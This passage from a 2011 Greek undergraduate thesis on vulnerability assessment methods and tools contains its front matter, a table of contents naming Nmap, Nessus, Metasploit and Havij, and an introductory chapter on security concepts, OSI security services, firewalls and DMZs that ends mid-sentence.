ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΕΙΡΑΙΩΣ Τμήμα Πληροφορικής

Transcript

1 ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΕΙΡΑΙΩΣ Τμήμα Πληροφορικής ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ «Μέθοδοι και εργαλεία ανάλυσης ευπαθειών δικτύων και εφαρμογών» Γιαλούρης Παναγιώτης Επιβλέποντες : Κοτζανικολάου Παναγιώτης, Πολέμη Δέσποινα Πειραιάς, 2011

2 2

3 Πρόλογος Οι απαιτήσεις ασφάλειας στις μέρες μας είναι τουλάχιστον δεδομένες σε κάθε κοινωνία. Ιδιωτικότητα, εμπιστευτικότητα, αυθεντικοποίηση, ακεραιότητα, είναι μερικές από τις λέξεις οι οποίες ακούγονται ολοένα και συχνότερα στη καθημερινότητα μας. Η εξέλιξη του Διαδικτύου, των ηλεκτρονικών συναλλαγών και γενικότερα των νέων τεχνολογιών δημιουργεί συνεχώς νέα ζητήματα ασφάλειας και προστασίας της ιδιωτικότητας σε όλους τους τομείς. Όπως είναι φυσικό δε θα μπορούσαν να αποτελούν εξαίρεση τα ζητήματα ασφάλειας και προστασίας που δημιουργούνται στα Δίκτυα και στα Πληροφοριακά Συστήματα. Γενικότερα θα μπορούσε να πει κανείς ότι αποτελούν γεννήτορα ζητημάτων και προβλημάτων για τους υπόλοιπους τομείς αλλά αυτό είναι κάτι που ξεφεύγει από τα όρια αυτής της εργασίας. Τα θέματα ασφάλειας σε δικτυακές υποδομές και συστήματα μπορούμε να πούμε ότι είναι στοιχεία τα οποία μπορούν να επηρεάσουν συνολικά την πορεία, την εξέλιξη αλλά και την επιχειρησιακή στρατηγική ενός οργανισμού ή μια επιχείρησης. Συνεπώς μπορεί να γίνει κατανοητό το μέγεθος της σημασίας μιας όσο το δυνατόν ασφαλέστερης τεχνολογικής υποδομής σε ένα οποιοδήποτε περιβάλλον. Τα Δίκτυα και τα Πληροφοριακά Συστήματα αναπτύσσονται συνεχώς μέσα σε ένα πολυσύνθετο περιβάλλον διαφορετικών μεταβλητών και παραγόντων. Η τάση για τεχνολογική εξέλιξη των συστημάτων αυτών δημιουργεί μεγαλύτερη πολυπλοκότητα στα θέματα ασφάλειας που τα αφορούν. Πλέον τα κενά ασφάλειας δεν είναι εμφανή και ο εκάστοτε υπεύθυνος ασφάλειας θα έχει σίγουρα πολύ περισσότερα να σκεφτεί από έναν απλό και τυπικό έλεγχο ασφάλειας. Είναι γνωστό ότι τα τελευταία χρόνια έχει διατυπωθεί (μάλλον ορθώς) η άποψη πως ο μεγαλύτερος φόβος των υπεύθυνων ασφαλείας είναι το άγνωστο. Ανυπολόγιστες ζημιές μπορούν να προέλθουν από νέες μορφές επιθέσεων οι οποίες εκμεταλλεύονται αδυναμίες τις οποίες πολλές φορές δεν έχουμε καν υπόψη μας και παρότι ένα σύστημα πληγεί από μια τέτοια επίθεση στη συνέχεια δε μπορεί να βρεθεί τι έφταιξε και να προταθεί κάποιο αντίμετρο ασφάλειας. Η ανάγκη για αποφυγή τέτοιων περιπτώσεων οδήγησε στην έρευνα και ανάπτυξη των Εργαλείων Ανάλυσης Ευπαθειών (Vulnerability Assessment Tools) ως μέσα για ποιοτικότερο έλεγχο τρωτοτήτων και ασφάλειας. Αυτά τα εργαλεία αποτελούν και βασικό άξονα αυτής της εργασίας ως προς τη σκοπιμότητα, τη λειτουργία, την αρχιτεκτονική αλλά και φυσικά τη χρησιμότητα βάση δοκιμής τους. Στόχος λοιπόν αυτής της Πτυχιακής Εργασίας είναι η χρησιμοποίηση τέτοιων εργαλείων και σε συνδυασμό με μελέτη πάνω σε μεθόδους ανάλυσης ευπαθειών να παρουσιαστούν αυτά τα εργαλεία, να χρησιμοποιηθούν σε πραγματικά συστήματα μέσω ενός δοκιμαστικού περιβάλλοντος που θα δημιουργηθεί με τη χρήσης Εικονικών Μηχανών (Virtual Machines) και του προγράμματος VMware, να αξιολογηθούν και στο τέλος να προταθούν αντίμετρα σε πιθανά ρήγματα ασφάλειας στα προαναφερθέντα συστήματα κάτι που εν τέλει είναι και ο στόχος των ελέγχων τρωτότητας και διείσδυσης σήμερα. 1

4 Ευχαριστίες Με την Πτυχιακή Εργασία ολοκληρώνεται ένας τετραετής κύκλος σπουδών μου στο Τμήμα Πληροφορικής του Πανεπιστημίου του Πειραιά. Αρχικά θέλω να ευχαριστήσω όλους του διδάσκοντες του Πανεπιστημίου για αυτά που μου προσέφεραν. Ιδιαίτερα ευχαριστώ την κ. Πολέμη και τον κ. Κοτζανικολάου που με τη διδασκαλία των μαθημάτων σε θέματα ασφάλειας με οδήγησαν να επιλέξω αυτό το θέμα για Πτυχιακή Εργασία. Επιπλέον τους ευχαριστώ για τη συνεργασία και καθοδήγηση που μου προσέφεραν. Σεπτέμβριος 2011 Παναγιώτης Κ. Γιαλούρης 2

5 ΠΕΡΙΕΧΟΜΕΝΑ 1. ΕΙΣΑΓΩΓΗ ΣΕ ΘΕΜΑΤΑ ΑΣΦΑΛΕΙΑΣ ΥΠΟΛΟΓΙΣΤΩΝ Εισαγωγή Εννοιολογική Θεμελίωση Ιστορικά στοιχεία Δίκτυα και Ασφάλεια Το μοντέλο ISO/OSI Ασφάλεια στο OSI Μηχανισμοί Ασφάλειας Δικτύων Αντιπυρικά Τείχη και Αποστρατικοποιημένες ζώνες Ασφάλεια Πληροφοριακών Συστημάτων Σκοποί επιθέσεων σε Πληροφοριακά Συστήματα Οι «εχθροί» των Πληροφοριακών Συστημάτων Ασφάλεια Λειτουργικών Συστημάτων Προστασία Λειτουργικών Συστημάτων Απειλές και ζητήματα Ασφάλειας Μηχανισμοί ασφάλειας Λειτουργικών Συστημάτων Κατηγορίες ηλεκτρονικών Επιθέσεων Σύγχρονες Πλατφόρμες Αποτίμησης Ασφάλειας Δικτύων και Εφαρμογών Κατηγοριοποίηση open source και εμπορικών εργαλείων Προτεινόμενες μεθοδολογίες επίσημων φορέων Ασφάλειας ΤΟ ΛΟΓΙΣΜΙΚΟ ΧΑΡΤΟΓΡΑΦΗΣΗΣ NMAP ΚΑΙ ΕΦΑΡΜΟΓΕΣ ΤΟΥ Εισαγωγή Εισαγωγή στο Nmap Δομή Λειτουργίας του Nmap Χαρακτηριστικά του Nmap Μέθοδοι Ανίχνευσης του Nmap Χρήση του Nmap για ανιχνεύσεις σε πραγματικές διαδικτυακές υπηρεσίες Αλίευση αποδεικτικών στοιχείων επιθέσεων ιών και Spyware ΟΙ ΠΛΑΤΦΟΡΜΕΣ NESSUS KAI METASPLOIT ΚΑΙ ΕΦΑΡΜΟΓΕΣ ΤΟΥΣ Επισκόπηση συστημάτων δικτυακής εισβολής Γενική περιγραφή συστημάτων ανάλυσης και εκμετάλλευσης ευπαθειών (exploitation frameworks) Το Metasploit Framework Περιγραφή του προγράμματος αποτίμησης ευπαθειών Nessus Προετοιμασία για Εκτέλεση Δοκιμής Εισβολής Δημιουργία και διαμόρφωση τοπικού δικτύου Χαρτογράφηση Θύματος Εύρεση και καταγραφή ευπαθειών Εκμετάλλευση ευπαθειών με το Metasploit Προτεινόμενα Μέτρα Ασφάλειας ΑΣΦΑΛΕΙΑ ΒΑΣΕΩΝ ΔΕΔΟΜΕΝΩΝ ΚΑΙ ΧΡΗΣΗ ΣΧΕΤΙΚΩΝ ΕΡΓΑΛΕΙΩΝ Εννοιολογική θεμελίωση και αποτίμηση των σύγχρονων εφαρμογών ιστού Ανάλυση και αποτίμηση επιθέσεων Βάσεων Δεδομένων

6 4.3 Εργαλεία σχετικά με εντοπισμό ευπαθειών σε Βάσεις Δεδομένων Το εργαλείο Havij Μέτρα ασφαλειας για Βάσεις Δεδομένων ΣΥΜΠΕΡΑΣΜΑΤΑ ΕΡΓΑΣΙΑΣ ΚΑΙ ΣΧΟΛΙΑ Ζητήματα Αξιολόγησης Εργαλείων Υπάρχουν πλήρως ασφαλή συστήματα τελικά; ΑΝΑΦΟΡΕΣ

7 Κεφάλαιο 1ο 1. ΕΙΣΑΓΩΓΗ ΣΕ ΘΕΜΑΤΑ ΑΣΦΑΛΕΙΑΣ ΥΠΟΛΟΓΙΣΤΩΝ 1.1 Εισαγωγή Στο τρέχον κεφάλαιο θα γίνει μια εννοιολογική θεμελίωση κάποιων βασικών χαρακτηριστικών ασφάλειας προκειμένου να είναι κατανοητά στο παρακάτω τμήμα του κεφαλαίου αλλά και της ευρύτερης εργασίας. Επίσης θα γίνει μια σύντομη επισκόπηση στην ιστορική εξέλιξη τεχνολογιών που αφορούν σε Δίκτυα, Πληροφοριακά και Λειτουργικά Συστήματα καθώς επίσης θα υπάρξουν και ενότητες με τα ζητήματα ασφάλειας που δημιουργούνται σε κάθε κατηγορία. Επιπλέον θα υπάρξει μια πρώτη αναφορά στις έννοιες του έλεγχου τρωτότητας και διείσδυσης καθώς και στις μεθόδους που διέπουν αυτούς του ελέγχους προκειμένου να γίνουν κατανοητές έννοιες και ενότητες που θα υπάρξουν αργότερα στην εργασία. Τέλος θα γίνει μια παράθεση των στοιχείων και των συστημάτων που χρησιμοποιήθηκαν κατά το πρακτικό κομμάτι της εργασίας σε μια ειδική ενότητα του κεφαλαίου αυτού. 1.2 Εννοιολογική Θεμελίωση Στην υποενότητα αυτή θα διασαφηνιστούν έννοιες και ορισμοί προκειμένου να υπάρχει μεγαλύτερη κατανόηση και αντίληψη των παρακάτω αναφορών και δράσεων της εργασίας. Οι κρίσιμες έννοιες που θα αναφέρονται συχνά (Κάτσικας κ.α, 2004) και είναι άξιας ανάλυσης είναι οι παρακάτω : Αδυναμία συστήματος (Vulnerability) Είναι ένα ελάττωμα στο λογισμικό, υλικό, ή στις διαδικασίες, το οποίο μπορεί να επιτρέψει την μη εξουσιοδοτημένη πρόσβαση ενός εισβολέα στους πόρους του συστήματος. Απειλή (Threat) Οτιδήποτε μπορεί να προκαλέσει παραβίαση της ασφάλειας ενός συστήματος. Μπορεί να είναι: Φυσική ή ανθρώπινη Τυχαία ή σκόπιμη 5

8 Οι απειλές οι οποίες και αντικατοπτρίζουν τις αρχές ασφαλείας είναι: Διαρροή πληροφοριών: Πληροφορίες αποκαλύπτονται σε μη εξουσιοδοτημένες οντότητες. Παραβίαση ακεραιότητας: Μη εξουσιοδοτημένη δημιουργία, τροποποίηση ή καταστροφή δεδομένων. Άρνηση παροχής υπηρεσίας: Παρεμποδίζεται η νόμιμη πρόσβαση σε δεδομένα ή πόρους. Επικινδυνότητα (risk) Αναδεικνύει τη σοβαρότητα μια απειλής. Συνήθως παρουσιάζεται ως γινόμενο της επίπτωσης επί τον απομένων κίνδυνο. Επίθεση (attack) Η εκμετάλλευση μιας αδυναμίας από έναν εισβολέα για την πραγματοποίηση μιας απειλής. Αντίμετρα (Countermeasures) Είναι ένας μηχανισμός ή μια διαδικασία που περιορίζει ή εξαλείφει τις πιθανότητες ενός φορέα απειλής να εκμεταλλευτεί μια αδυναμία. 1.3 Ιστορικά στοιχεία Η ασφάλεια Πληροφοριακών Συστημάτων μελετήθηκε για πρώτη φορά στις αρχές της δεκαετίας του 1970 όπως αναφέρει ο Bishop (1996). Μία σειρά εργασιών και τεχνικών αναφορών παρουσιάζονται στη δ/νση: Η πρώτη σχετική δημοσίευση, από την Ομάδα Εργασίας του Συμβουλίου Αμυντικής Επιστήμης του υπουργείου Άμυνας των ΗΠΑ, εξέτασε το πρόβλημα της χρήσης υπολογιστών εξ αποστάσεως (μέσω τερματικών). Προηγουμένως, η πρόσβαση στους υπολογιστικούς πόρους προϋπέθετε την φυσική παρουσία και πρόσβαση του χρήστη ή του διαχειριστή στον κεντρικό υπολογιστή. Η προσέγγιση στην λύση των προβλημάτων ασφάλειας μέχρι τότε βασιζόταν στην φυσική απομόνωση και προστασία του κεντρικού υπολογιστή καθώς και στον έλεγχο πρόσβασης σε αυτόν (Ware, 1970). Ένα από τα συμπεράσματα στην αναφορά της Ομάδας Εργασίας ήταν ότι ο χρήστης δεν θα έπρεπε να δημιουργήσει το δικό του κωδικό πρόσβασης, μια πρόταση που ποτέ δεν υιοθετήθηκε ευρέως (Ware, 1970). Άλλες καινοτόμες ιδέες που εκφράστηκαν στην ανάλυση είχαν μεγαλύτερη απήχηση. Για παράδειγμα, αναγνωρίστηκε από τους ερευνητές η αρχή της ισορροπίας μεταξύ της ευκολίας της εργασίας του χρήστη και της προστασίας των πληροφοριών και σήμερα έχει καταλήξει θεμέλιος λίθος στη δημιουργία πολιτικών ασφάλειας. 6

9 Ο πρώτος ιός, ο Creeper, εμφανίστηκε επίσης στις αρχές της δεκαετίας του 1970 στο ARPANET, και το πρώτο δικτυακό "σκουλήκι" (worm), το σκουλήκι Morris, κυκλοφόρησε το Εκτιμάται ότι συστήματα προσβλήθηκαν από το "σκουλήκι" (Spafford, 1988). Το Ιούλιο του 2001 και μέσα σε 14 ώρες προσεβλήθησαν υπολογιστές περισσότεροι από το 359,000 από το Code-Red (CRv2) worm (Moore and Shannon, 2001). Το 2007 ανακαλύφθηκαν περισσότεροι από καινούργιοι ιοί (Richards, 2008). Παρόλο που ο πρώτος υπολογιστής με το λειτουργικό σύστημα Multics εγκαταστάθηκε το 1967 με κωδικό πρόσβασης για χρήστες και με άλλα μέτρα ασφάλειας στο σχεδιασμό του, και δύο από τους δημιουργούς του, ο Ken Thompson και ο Dennis Ritchie, έπαιξαν κρίσιμο ρόλο στην ανάπτυξη του Unix, η πρώτη έκδοση του Unix δεν διέθετε κωδικούς. Η λειτουργία αυτή προστέθηκε αργότερα, το 1973 (Salus, 1998). Σήμερα η χρήση αδύναμων κωδικών πρόσβασης παραμένει μία από τις κυριότερες δυσκολίες που αντιμετωπίζει ο επαγγελματίας στον τομέα (Schneier, 2006). Χρησιμοποιούνται και άλλες μέθοδοι αυθεντικοποίησης, για παράδειγμα οι έξυπνες κάρτες, αλλά μόνο σε συγκεκριμένους τομείς. 1.4 Δίκτυα και Ασφάλεια Ένα δίκτυο υπολογιστών (computer network), ή απλά ένα δίκτυο, είναι κάθε συλλογή διασυνδεδεμένων υπολογιστών. Δύο ή περισσότερα συστήματα υπολογιστών θεωρούνται συνδεδεμένα εάν μπορούν να στείλουν και να λάβουν μεταξύ τους δεδομένα, διαμέσου ενός κοινόχρηστου μέσου πρόσβασης. Τα μέρη της επικοινωνίας σε ένα δίκτυο υπολογιστών είναι γνωστά ως οντότητες, υποκείμενα, ή κόμβοι. Αυτές οι οντότητες μπορούν να διαιρεθούν περαιτέρω σε χρήστες (users) οικοδεσπότες (hosts), και διεργασίες (processes): Ένας χρήστης (user) είναι μια ανθρώπινη οντότητα αρμόδια για τις ενέργειές του σε ένα δίκτυο υπολογιστών. Ένας οικοδεσπότης (host) είναι μια προσπελάσιμη οντότητα μέσα σε ένα δίκτυο υπολογιστών. Κάθε οικοδεσπότης έχει μια μοναδική διεύθυνση μέσα σε ένα δίκτυο. Μια διεργασία (process) είναι ένα στιγμιότυπο ενός εκτελέσιμου προγράμματος. Ο όρος διαδικασία χρησιμοποιείται στο μοντέλο επικοινωνίας πελάτη-εξυπηρετητή (client-server) προκειμένου να διακρίνονται οι διεργασίες του πελάτη και οι διεργασίες του εξυπηρετητή: Η διεργασία πελάτη είναι εκείνη η διεργασία η οποία είναι υπεύθυνη να υποβάλλει αιτήματα χρήσης μιας δικτυακής υπηρεσίας. Η διεργασία εξυπηρετητή είναι η διεργασία η οποία είναι υπεύθυνη να παρέχει μια δικτυακή υπηρεσία, παραδείγματος χάριν, μία διεργασία η οποία τρέχει διαρκώς στο υπόβαθρο για να προσφέρει μία δικτυακή υπηρεσία. 7

10 Ένα δίκτυο θεωρείται ενσύρματο ή σταθερό (wired or fixed), εάν το μέσο πρόσβασης είναι κάποιο είδος φυσικής σύνδεσης καλωδίων μεταξύ των υπολογιστών, όπως ένα χάλκινο καλώδιο ή ένα καλώδιο οπτικών ινών. Αντίστοιχα, ένα δίκτυο θεωρείται ως ασύρματο δίκτυο (wireless network) εάν η πρόσβαση στο μέσο στηρίζεται σε εναέρια σηματοδοσία, όπως η επικοινωνία με ραδιοσυχνότητα (RF). Ένα δίκτυο μπορεί επίσης να διαιρεθεί σύμφωνα με τη γεωγραφική κάλυψή του. Ανάλογα με το μέγεθός του, ένα δίκτυο μπορεί να είναι ένα προσωπικό δίκτυο περιοχής (Personal Area Network PAN), ένα δίκτυο τοπικής περιοχής (Local Area Network LAN), ένα Δίκτυο Μητροπολιτικής Περιοχής (Metropolitan Area Network MAN), ή ένα Δίκτυο Ευρείας Περιοχής (Wide Area Network WAN). Ανεξάρτητα από το μέσο πρόσβασης και την κάλυψη ενός δικτύου, η ασφάλεια δικτύων (network security) μπορεί να εξετάζεται μέσω της επίτευξης δύο στόχων ασφάλειας: την ασφάλεια υπολογιστικών συστημάτων (computer systems security) και την ασφάλεια επικοινωνίας (communication security): o Ο στόχος της ασφάλειας υπολογιστικών συστημάτων είναι η προστασία των πληροφοριακών αγαθών από μη εξουσιοδοτημένη ή κακόβουλη χρήση, καθώς επίσης και η προστασία των πληροφοριών που αποθηκεύονται στα υπολογιστικά συστήματα από μη εξουσιοδοτημένη αποκάλυψη, τροποποίηση, ή καταστροφή. o Ο στόχος της ασφάλειας επικοινωνίας είναι η προστασία των πληροφοριών κατά τη διάρκεια της μετάδοσής τους διαμέσου ενός μέσου επικοινωνίας, από την μη εξουσιοδοτημένη αποκάλυψη, τροποποίηση, ή καταστροφή. (Κοτζανικολάου και Δουληγέρης,2011.) Το μοντέλο ISO/OSI Σημείο αναφοράς στην ασφάλεια αποτελεί το έτος 1989 όταν ο Οργανισμός Προτυποποίησης ISO παρουσίασε την αρχιτεκτονική ασφάλειας OSI η οποία προσφέρει μια γενική περιγραφή των υπηρεσιών ασφάλειας και των αντίστοιχων μηχανισμών πραγματοποιώντας μια αντιστοίχηση των υπηρεσιών στα επίπεδα του μοντέλου OSI. Ενδιαφέρον σημείο αποτελεί το γεγονός ότι η αρχιτεκτονική ασφάλειας OSI δεν προτείνει λύσεις σε προβλήματα ασφάλειας, αλλά παρέχει ένα ολοκληρωμένο πλαίσιο ορολογίας και μια γενική περιγραφή των υπηρεσιών και των αντίστοιχων μηχανισμών ασφάλειας για την περιγραφή προβλημάτων ασφάλειας και των αντίστοιχων λύσεων(κάτσικας κ.α. 2004). Το OSI ορίζει τα επίπεδα δικτύου καθώς και τις διεπαφές αυτών. Τα 7 επίπεδα του μοντέλου OSI (Tanenbaum,2008A) φαίνονται στην εικόνα που ακολουθεί. 8

11 Επίπεδο Εφαρμογής Επίπεδο Παρουσίασης Επίπεδο Συνόδου Επίπεδο Μεταφοράς Επίπεδο Δικτύου Επίπεδο Ζεύξης Δεδομένων Φυσικό Επίπεδο Εικόνα 1.1 Τα επίπεδα του OSI Ασφάλεια στο OSI Σύμφωνα με το πρότυπο ISO/IEC (ISO, 1994)κάθε επίπεδο πρωτοκόλλου αποτελείται από τρία λειτουργικά πλάνα (functional planes): Το επίπεδο χρηστών, το επίπεδο της σηματοδοσίας και ελέγχου, και το επίπεδο διαχείρισης. Για τη διασφάλιση των δικτυακών επικοινωνιών θα πρέπει να επιτευχθούν οι κατάλληλοι στόχοι ασφάλειας σε κάθε επίπεδο πρωτοκόλλων και σε κατάλληλο λειτουργικό πλάνο. Το πρότυπο ISO/IEC (ISO, 1989) και η αρχιτεκτονική ασφάλειας ITU-Τ X.800 για τη διασύνδεση ανοικτών συστημάτων (ITU, 1991), βασίζονται και επεκτείνουν το πρότυπο ISO/OSI , για να καλύψουν τις πτυχές ασφάλειας των δικτύων. Η σύσταση X.800 παρέχει μία γενική περιγραφή των υπηρεσιών και των σχετικών μηχανισμών ασφάλειας, τα οποία παρέχονται από το πρότυπο αναφοράς. Επίσης καθορίζει τις θέσεις μέσα στο μοντέλο αναφοράς, όπου οι υπηρεσίες και οι μηχανισμοί μπορούν να παρασχεθούν. Με βάση τα πρότυπα (ISO, 1989) και (ITU, 1991) οι στόχοι ασφάλειας επιτυγχάνονται μέσω πολιτικών ασφάλειας (security policies) και υπηρεσιών 9

12 ασφάλειας (security services). Μια πολιτική ασφάλειας είναι το σύνολο κριτηρίων το οποίο ορίζει την παροχή υπηρεσιών ασφάλειας. Υπηρεσία ασφάλειας είναι μία υπηρεσία η οποία παρέχεται από ένα επίπεδο δικτύου, προκειμένου να εξασφαλιστεί η επαρκής προστασία των συστημάτων ή των μεταδιδόμενων δεδομένων. Οι υπηρεσίες ασφάλειας υλοποιούνται μέσω μηχανισμών ασφάλειας (security mechanisms), οι οποίοι είναι γενικά μηχανισμοί που μπορούν να χρησιμοποιηθούν για να επιβάλουν τεχνικά την εφαρμογή μιας υπηρεσίας ασφάλειας Μηχανισμοί Ασφάλειας Δικτύων Στους μηχανισμούς ασφάλειας δικτύων έχουν 8 βασικές κατηγορίες μηχανισμών οι οποίοι εξυπηρετούν ειδικούς σκοπούς προστασίας και ασφάλειας του εκάστοτε δικτύου. Οι κατηγορίες είναι οι εξής: 1. Μηχανισμοί Κρυπτογράφησης (Encipherment Mechanisms) 2. Ψηφιακές Υπογραφές (Digital Signatures) 3. Μηχανισμοί Ελέγχου Πρόσβασης (Access Control Mechanisms) 4. Μηχανισμοί Ακεραιότητας Δεδομένων (Integrity Mechanisms) 5. Μηχανισμοί Αυθεντικοποίησης (Authentication Mechanisms) 6. Μηχανισμοί Προστασίας Κίνησης (Traffic Padding Mechanisms) 7. Μηχανισμοί Ελέγχου Δρομολόγησης (Routing Control Mechanisms) 8. Μηχανισμοί «Συμβολαιογράφου» (Notarization Mechanisms) Πιο αναλυτικά οι σχέσεις υπηρεσιών ασφάλειας και είδους μηχανισμού φαίνονται στον ακόλουθο Πίνακα 1.1 (Κοτζανικολάου και Δουληγέρης, 2011) - Αυθεντικ οποίησης ΥΠΗΡΕΣΙΑ Αυθεντικοπο ίηση Οντότητας Αυθεντικοποίηση προέλευσης δεδομένων Υπηρ. Ελέγχου Πρόσβασης Εμπιστευτικ ότητα Σύνδεσης Εμπιστευτικότητα Ασυνδετότητας Εμπιστευτικότητα Επιλεκτικού Κρυπτ ογρά φηση Ψηφιακές Υπογρα φές Έλεγχος Πρόσβα σης Ακεραιό τητα Δεδομένων Χ Χ Χ Χ Χ Χ Χ Χ Χ Προστα σία Κίνησης Έλεγx. Δρομολό γησης Χ Χ Notariza tion 10

13 Πεδίου Εμπιστευτικότητα Ροής Κίνησης Ακεραιότητα Σύνδεσης με Επαναφορά Ακεραιότητα Σύνδεσης χωρίς Επαναφορά Ακεραιότητα Σύνδεσης Επιλεκτικού Πεδίου Ακεραιότητα Ασυνδετότητας Ακεραιότητα Ασυνδετότητας Επιλεκτικού Πεδίου Αποποίηση ευθύνης για προέλευση Αποποίηση ευθύνης για παράδοση Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Χ Πίνακας 1.1 Σχέσεις Υπηρεσιών/Μηχανισμών Ασφάλειας 11

14 1.4.4 Αντιπυρικά Τείχη και Αποστρατικοποιημένες ζώνες Αντιπυρικά Τείχη Ένας από τους πιο σίγουρους και διαδεδομένους τρόπους για να προστατεύσει κανείς το δίκτυο του είναι να σιγουρέψει ότι δε θα κάνει αποδεκτή τη λήψη πακέτων. Αυτό επιτυγχάνεται με τις αντιπυρικές ζώνες, αντιπυρικά τείχη ή αναχώματα ασφάλειας (firewalls). Ένα Firewall δεν είναι απλά ένα σύνολο συνιστωσών λογισμικού και υλικού αλλά η τεχνική έκφραση μιας συγκεκριμένης στρατηγικής που αφορά στην προστασία των πληροφοριακών πόρων ενός συστήματος (Γκρίτζαλης κ.α. 2003) Το firewall θεωρείται το σημαντικότερο εργαλείο ασφάλειας στη διαχείριση δικτυακών συνδέσεων για οργανισμούς οι οποίοι δεν εμπιστεύονται ο ένας τον άλλον. Ένα firewall αποτελείται από ένα συνδυασμό υλικού και λογισμικού που απομονώνει το εσωτερικό δίκτυο ενός υπολογιστή από το υπόλοιπο Διαδίκτυο επιτρέποντας σε ορισμένα πακέτα να περνούν και σε άλλα όχι. Υπάρχουν δυο τύποι αντιπυρικών ζωνών. Αντιπυρικές ζώνες φιλτραρίσματος πακέτων (σε επίπεδο δικτύου) Αντιπυρικές ζώνες εφαρμογών (σε επίπεδο εφαρμογής) Ο πρώτος τύπος βασίζεται στο φιλτράρισμα των πακέτων που γίνεται στο δρομολογητή διαδικτύου. Τα φίλτρα πακέτων αναλύουν επικεφαλίδες του πακέτου και στη συνέχεια εφαρμόζουν ένα σύνολο κανόνων για να καθορίσουν αν το πακέτο θα απορριφθεί ή θα του επιτραπεί να περάσει. Τέτοιες αποφάσεις φιλτραρίσματος βασίζονται συνήθως σε συνδυασμούς των παρακάτω: Διεύθυνση προέλευσης και προορισμού IP Θύρα προέλευσης και προορισμού TCP και UDP Τύπος μηνύματος ICMP Μηνύματα αρχικοποίησης σύνδεσης χρησιμοποιώντας τα bit TCP SYN ή ACK. Για μεγαλύτερη ασφάλεια όμως πολλές φορές γίνεται συνδυασμός των φίλτρων πακέτων με τις πύλες εφαρμογών (application gateway). Μια πύλη εφαρμογής είναι ένας εξυπηρετητής εφαρμογής μέσω του οποίου πρέπει να περάσουν όλα τα δεδομένα της εφαρμογής (εισερχόμενα και εξερχόμενα). Το λογισμικό πύλης εφαρμογών μπορεί να κρατά μια καταγραφή όλων των απαιτήσεων για να μπορούν να ελέγχονται εκτός σύνδεσης. Τα firewalls εισάγουν μια διαπραγμάτευση ανάμεσα στο βαθμό επικοινωνίας με τον έξω κόσμο και το επίπεδο ασφάλειας. Τα φίλτρα δε μπορούν να αντιμετωπίσουν τη παραπλάνηση διευθύνσεων IP και αριθμών θυρών (Spoofing) ενώ οι πύλες μπορούν επίσης να έχουν σφάλματα επιτρέποντας στους επιτιθέμενους να τις διαπεράσουν. Τέλος τα αντιπυρικά τείχη είναι λιγότερα ωφέλιμα και αποδοτικά όταν η εσωτερικά παραγόμενη επικοινωνία μπορεί να φτάσει στον έξω κόσμο, χωρίς να περάσεις μέσω από αυτά. Οι ασύρματες επικοινωνίες και τα μόντεμ μέσω τηλεφώνου είναι τέτοιες περιπτώσεις. 12

15 Γενικότερα η ασφάλεια του δικτύου δεν περιλαμβάνει μόνο προστασία της επικοινωνίας και των πόρων του δικτύου αλλά επίσης και ανίχνευση παραβιάσεων ασφαλούς επικοινωνίας (IDS) και επιθέσεων στην υποδομή και άμεσα απόκριση σε αυτές τις επιθέσεις. Αποστρατικοποιημένες Ζώνες Μια Αποστρατικοποιημένη Ζώνη (DeMiliterized Zone-DMZ) ή αλλιώς περιμετρικό δίκτυο είναι ένα φυσικό ή λογικό υποδίκτυο που περιέχει και προσφέρει διαθέσιμες υπηρεσίες ενός οργανισμού σε ένα μεγαλύτερο αναξιόπιστο δίκτυο (συνήθως το internet). Ένα DMZ συνήθως περιέχει τους εξυπηρετητές που παρέχουν υπηρεσίες σε χρήστες από το Διαδίκτυο, όπως εξυπηρετητές διαδικτύου (web servers), ηλεκτρονικής αλληλογραφίας ( servers) ή διακομιστές διαμεσολάβησης (proxy servers) και ανάστροφους διακομιστές διαμεσολάβησης (Reverse-Proxy Servers). Ο σκοπός μιας αποστρατικοποιημένης ζώνης είναι να προσθέσει ένα επιπλέον επίπεδο ασφάλειας στο τοπικό δίκτυο (LAN) του οργανισμού. Ένας επιτιθέμενος επιτίθεται μόνο στον εξοπλισμό του DMZ χωρίς να ασχολείται με όλο το δίκτυο. Δύο βασικές μέθοδοι κατασκευής ενός DMZ είναι : Με τη χρήση ενός αντιπυρικού τείχους Με τη χρήση δύο αντιπυρικών τειχών Στη περίπτωση του ενός τείχους απαιτούνται τουλάχιστον τρείς διεπαφές (τρισκελές μοντέλο) όπου η πρώτη είναι για το εσωτερικό δίκτυο η δεύτερη για το επικίνδυνο και η τρίτη για το DNS. Το τείχος θα πρέπει να έχει τη δυνατότητα να κατευθύνει ή να εμποδίζει κατάλληλα τη ροή της εξωτερικής κίνησης προς το DMZ και το εσωτερικό δίκτυο αντίστοιχα. Στη περίπτωση των δύο τειχών έχουμε μια ακριβότερη αλλά και ασφαλέστερη προσέγγιση. Το πρώτο τείχος (front end firewall) διαμορφώνεται έτσι ώστε να επιτρέπει την είσοδο των νόμιμων αιτήσεων τόσο προς το εσωτερικό δίκτυο όσο και προς το DMZ. Το δεύτερο (back end firewall) διαμορφώνεται έτσι ώστε να επιτρέπει κίνηση που προέρχεται από το DMZ (βλ. Εικόνα 1.2). Είναι σαφές ότι το πρώτο τείχος θα πρέπει να μπορεί να διαχειρίζεται μεγαλύτερο όγκο πληροφοριών ενώ θα προσθέσει ασφάλεια αν τα δύο τείχη είναι διαφορετικής κατασκευής αφού έτσι η παραβίαση του πρώτου δεν θα συνεπάγεται και την άμεση παραβίαση του δευτέρου. 13

16 Εικόνα 1.2 DMZ αρχιτεκτονικής διπλού firewall 1.5 Ασφάλεια Πληροφοριακών Συστημάτων Στην ενότητα αυτή παρουσιάζονται ζητήματα ασφάλειας, κάποιοι ορισμοί, το εύρος της ασφάλειας Πληροφοριακών Συστημάτων, πιθανές απειλές σε Πληροφοριακό Σύστημα (ΠΣ) καθώς και νέες τάσεις και τεχνολογίες που χρησιμοποιούνται στην επίτευξη των στόχων ασφάλειας σε κάποιο Ολοκληρωμένο Πληροφοριακό Σύστημα κάποιας επιχείρησης ή οργανισμού. Αρχικά είναι σημαντικό για την εξέλιξη της ενότητας αυτής να δοθεί ένας ορισμός του Πληροφοριακού Συστήματος αλλά και στο τι εννοούμε ως ασφάλεια Πληροφοριακού Συστήματος. Ως Πληροφοριακό Σύστημα μπορούμε να ορίσουμε ένα οργανωμένο σύνολο από πέντε στοιχεία (άνθρωποι, λογισμικό, υλικό, διαδικασίες 